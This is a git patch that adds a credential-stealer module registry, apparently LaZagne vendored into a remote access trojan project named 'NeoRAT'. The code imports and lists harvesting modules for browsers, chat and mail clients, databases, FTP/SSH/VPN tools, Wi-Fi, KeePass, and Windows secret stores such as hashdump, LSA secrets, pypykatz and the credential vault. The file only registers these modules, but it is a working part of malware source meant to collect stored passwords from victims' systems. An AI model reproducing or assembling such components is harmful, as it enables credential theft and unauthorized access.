From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- .../lazagne/config/manage_modules.py | 172 +++++++++++++++++++++ 1 file changed, 172 insertions(+) create mode 100644 foreign/client_handling/lazagne/config/manage_modules.py (limited to 'foreign/client_handling/lazagne/config/manage_modules.py') diff --git a/foreign/client_handling/lazagne/config/manage_modules.py b/foreign/client_handling/lazagne/config/manage_modules.py new file mode 100644 index 0000000..c21f0df --- /dev/null +++ b/foreign/client_handling/lazagne/config/manage_modules.py @@ -0,0 +1,172 @@ +# Browsers +from foreign.client_handling.lazagne.softwares.browsers.chromium_based import chromium_browsers +from foreign.client_handling.lazagne.softwares.browsers.ie import IE +from foreign.client_handling.lazagne.softwares.browsers.mozilla import firefox_browsers +from foreign.client_handling.lazagne.softwares.browsers.ucbrowser import UCBrowser +# Chats +from foreign.client_handling.lazagne.softwares.chats.pidgin import Pidgin +from foreign.client_handling.lazagne.softwares.chats.psi import PSI +from foreign.client_handling.lazagne.softwares.chats.skype import Skype +# Databases +from foreign.client_handling.lazagne.softwares.databases.dbvis import Dbvisualizer +from foreign.client_handling.lazagne.softwares.databases.postgresql import PostgreSQL +from foreign.client_handling.lazagne.softwares.databases.robomongo import Robomongo +from foreign.client_handling.lazagne.softwares.databases.sqldeveloper import SQLDeveloper +from foreign.client_handling.lazagne.softwares.databases.squirrel import Squirrel +# Games +from foreign.client_handling.lazagne.softwares.games.galconfusion import GalconFusion +from foreign.client_handling.lazagne.softwares.games.kalypsomedia import KalypsoMedia +from foreign.client_handling.lazagne.softwares.games.roguestale import RoguesTale +from foreign.client_handling.lazagne.softwares.games.turba import Turba +# Git +from foreign.client_handling.lazagne.softwares.git.gitforwindows import GitForWindows +# Mails +from foreign.client_handling.lazagne.softwares.mails.outlook import Outlook +from foreign.client_handling.lazagne.softwares.mails.thunderbird import Thunderbird +# Maven +from foreign.client_handling.lazagne.softwares.maven.mavenrepositories import MavenRepositories +# Memory +from foreign.client_handling.lazagne.softwares.memory.keepass import Keepass +from foreign.client_handling.lazagne.softwares.memory.memorydump import MemoryDump +# Multimedia +from foreign.client_handling.lazagne.softwares.multimedia.eyecon import EyeCON +# Php +from foreign.client_handling.lazagne.softwares.php.composer import Composer +# Svn +from foreign.client_handling.lazagne.softwares.svn.tortoise import Tortoise +# Sysadmin +from foreign.client_handling.lazagne.softwares.sysadmin.apachedirectorystudio import ApacheDirectoryStudio +from foreign.client_handling.lazagne.softwares.sysadmin.coreftp import CoreFTP +from foreign.client_handling.lazagne.softwares.sysadmin.cyberduck import Cyberduck +from foreign.client_handling.lazagne.softwares.sysadmin.filezilla import Filezilla +from foreign.client_handling.lazagne.softwares.sysadmin.filezillaserver import FilezillaServer +from foreign.client_handling.lazagne.softwares.sysadmin.ftpnavigator import FtpNavigator +from foreign.client_handling.lazagne.softwares.sysadmin.opensshforwindows import OpenSSHForWindows +from foreign.client_handling.lazagne.softwares.sysadmin.openvpn import OpenVPN +from foreign.client_handling.lazagne.softwares.sysadmin.iiscentralcertp import IISCentralCertP +from foreign.client_handling.lazagne.softwares.sysadmin.keepassconfig import KeePassConfig +from foreign.client_handling.lazagne.softwares.sysadmin.iisapppool import IISAppPool +from foreign.client_handling.lazagne.softwares.sysadmin.puttycm import Puttycm +from foreign.client_handling.lazagne.softwares.sysadmin.rdpmanager import RDPManager +from foreign.client_handling.lazagne.softwares.sysadmin.unattended import Unattended +from foreign.client_handling.lazagne.softwares.sysadmin.vnc import Vnc +from foreign.client_handling.lazagne.softwares.sysadmin.winscp import WinSCP +from foreign.client_handling.lazagne.softwares.sysadmin.wsl import Wsl +# Wifi +from foreign.client_handling.lazagne.softwares.wifi.wifi import Wifi +# Windows +from foreign.client_handling.lazagne.softwares.windows.autologon import Autologon +from foreign.client_handling.lazagne.softwares.windows.cachedump import Cachedump +from foreign.client_handling.lazagne.softwares.windows.credman import Credman +from foreign.client_handling.lazagne.softwares.windows.credfiles import CredFiles +from foreign.client_handling.lazagne.softwares.windows.hashdump import Hashdump +from foreign.client_handling.lazagne.softwares.windows.ppypykatz import Pypykatz +from foreign.client_handling.lazagne.softwares.windows.lsa_secrets import LSASecrets +from foreign.client_handling.lazagne.softwares.windows.vault import Vault +from foreign.client_handling.lazagne.softwares.windows.vaultfiles import VaultFiles +from foreign.client_handling.lazagne.softwares.windows.windows import WindowsPassword + + +def get_categories(): + category = { + 'browsers': {'help': 'Web browsers supported'}, + 'chats': {'help': 'Chat clients supported'}, + 'databases': {'help': 'SQL/NoSQL clients supported'}, + 'games': {'help': 'Games etc.'}, + 'git': {'help': 'GIT clients supported'}, + 'mails': {'help': 'Email clients supported'}, + 'maven': {'help': 'Maven java build tool'}, + 'memory': {'help': 'Retrieve passwords from memory'}, + 'multimedia': {'help': 'Multimedia applications, etc'}, + 'php': {'help': 'PHP build tool'}, + 'svn': {'help': 'SVN clients supported'}, + 'sysadmin': {'help': 'SCP/SSH/FTP/FTPS clients supported'}, + 'windows': {'help': 'Windows credentials (credential manager, etc.)'}, + 'wifi': {'help': 'Wifi'}, + } + return category + + +def get_modules(): + module_names = [ + + # Browser + IE(), + UCBrowser(), + + # Chats + Pidgin(), + Skype(), + PSI(), + + # Databases + Dbvisualizer(), + Squirrel(), + SQLDeveloper(), + Robomongo(), + PostgreSQL(), + + # games + KalypsoMedia(), + GalconFusion(), + RoguesTale(), + Turba(), + + # Git + GitForWindows(), + + # Mails + Outlook(), + Thunderbird(), + + # Maven + MavenRepositories(), + + # Memory + MemoryDump(), # retrieve browsers and keepass passwords + Keepass(), # should be launched after memory dump + + # Multimedia + EyeCON(), + + # Php + Composer(), + + # SVN + Tortoise(), + + # Sysadmin + ApacheDirectoryStudio(), + CoreFTP(), + Cyberduck(), + Filezilla(), + FilezillaServer(), + FtpNavigator(), + KeePassConfig(), + Puttycm(), + OpenSSHForWindows(), + OpenVPN(), + IISCentralCertP(), + IISAppPool(), + RDPManager(), + Unattended(), + WinSCP(), + Vnc(), + Wsl(), + + # Wifi + Wifi(), + + # Windows + Autologon(), + Pypykatz(), + Cachedump(), + Credman(), + Hashdump(), + LSASecrets(), + CredFiles(), + Vault(), + VaultFiles(), + WindowsPassword(), + ] + return module_names + chromium_browsers + firefox_browsers -- cgit v1.2.3